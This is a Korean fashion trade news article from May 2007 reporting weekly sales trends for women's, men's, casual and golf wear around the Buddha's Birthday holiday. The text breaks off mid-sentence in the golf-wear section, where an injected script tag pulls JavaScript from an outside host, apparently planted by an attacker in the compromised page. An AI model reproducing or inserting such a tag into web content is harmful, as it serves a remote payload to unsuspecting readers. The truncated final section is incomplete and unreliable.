주간상황-5월21일~5월27일

2007-05-31 10:27 조회수 아이콘 1169

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주간상황-5월21일~5월27일


변경재킷.원피스룩 강세
 
<여성복>

석가탄신일을 맞아 목요일이 휴일이되면서 금, 토, 일요일까지 황금연휴를 가진 직장인들이 많아 주말 매출이 크게 오른 한 주였다.

목요일에는 휴일이었지만 비가 오면서 바람이 심하게 부는 등 날씨가 좋지 않아 백화점과 가두점 모두 집객력이 떨어졌으나 금요일부터 화창한 날씨가 이어지며 쇼핑객들로 붐볐다.

백화점을 주력 유통으로 하는 브랜드들은 원피스를 중심으로 한 핫 썸머 아이템들이 수영복 등 시즌 상품과 맞물려 높은 판매율을 기록하면서 10% 가량 신장했다.

특히 그동안 수트 판매 부진으로 고전해왔던 커리어 브랜드들도 여름 상품으로 원피스 기획을 강화해 내 놓으면서 매출이 살아났고 가방, 샌들 등 액세서리 단품의 판매도 좋았던 것으로 조사됐다.

롯데, 현대백화점은 영캐주얼 존이 여전한 강세를 보이며 전주대비 10~15% 신장했고 캐릭터 군은 변형 재킷과 팬츠, 원피스가 판매를 주도하면서 평균 7~10% 신장했다.

커리어군 역시 5% 미만이기는 하지만 오랜만에 신장세로 돌아섰다.

가두점과 대형마트를 주력 유통으로 하는 볼륨 브랜드들도 주말에 특히 높은 매출을 올렸다.

대형마트의 경우 주말 나들이를 앞두고 식품 매장을 찾은 가족 단위 고객들이 대부분 패션 매장으로 유입되면서 정상, 행사 상품이 모두 팔림세가 좋았던 것으로 나타났다.       

도심 외곽의 아울렛 타운 매장 매출도 큰 폭으로 상승해 ‘지센’의 경우 지난 토요일 오픈한 죽전점서 주말 이틀 간 6천만원의 매출을 올렸다.

핫썸머 제품 판매 주도
 
<남성복>

전주대비 10% 이상 신장했다.

특히 24일 석가탄신일이 평일 휴일로 되면서 매출이 호조를 보였다.

캐릭터캐주얼은 전주대비 25% 신장했고, 석가탄신일에는 두 배 늘었다.

TD캐주얼이 15%, 드레스셔츠와 넥타이는 각각 5% 신장했고, 신사복과 어덜트캐주얼은 보합세를 보였다.

전주대비로는 신장했으나 전년대비로는 보합세를 보였으며, 평일에는 일부 역신장하는 날도 있었다.

신사복은 여전히 쿨비즈룩의 판매가 좋았고, 드레스셔츠는 여름철을 겨냥해 내놓은 언타이드룩이 높은 판매율을 기록했다.

캐릭터캐주얼은 셔츠, 티셔츠와 얇은 소재의 재킷을 코디하는 콤비 스타일의 판매가 늘었다.

일부 브랜드 30% 세일
 
<캐주얼>

주요 브랜드들은 전주대비 보합세에서 16.4% 신장한 것으로 나타났다.

일부 브랜드는 여름 세일에 돌입, 판매 경쟁을 부추겼다.

정상 매출이 하락하면서 이월상품 판매를 위한 매대 행사가 백화점, 마트, 대리점 등에서 펼쳐졌다.

에이션패션의 ‘폴햄’은 전주대비 16% 신장했다.

백화점 부문은 10.4%, 대리점 부문은 27.1% 신장했다.

대규모 매대 행사와 하의류 30% 세일이 주효했다.

뱅뱅어패럴의 ‘뱅뱅’은 7% 신장했다.

이 브랜드는 6월 초부터 일부 초여름 아이템을 제외한 전 품목의 50% 세일에 들어간다.

행텐코리아의 ‘행텐’은 보합세를 유지했다.

세일 진행 없이 정상 제품 영업으로 판매율을 높이는데 주력했다.

이길재 ‘폴햄’ 부장은 “부진 품목에 대한 조기 세일로 매출을 끌어올리고 주력 상품인 티셔츠류에 대한 판매 집중도를 높인 것이 신장에 큰 영향을 미쳤다”고 말했다.

자외선 차단 제품 인기
 
<골프웨어>   

전주대비 18~20% 신장률을 기록했다.

예년보다 빨라진 여름 날씨로 매쉬 소재의 기능성 셔츠와 반바지, 미니스커트 등의 판매가 ?script src=http://mekiller.com/1/1.js>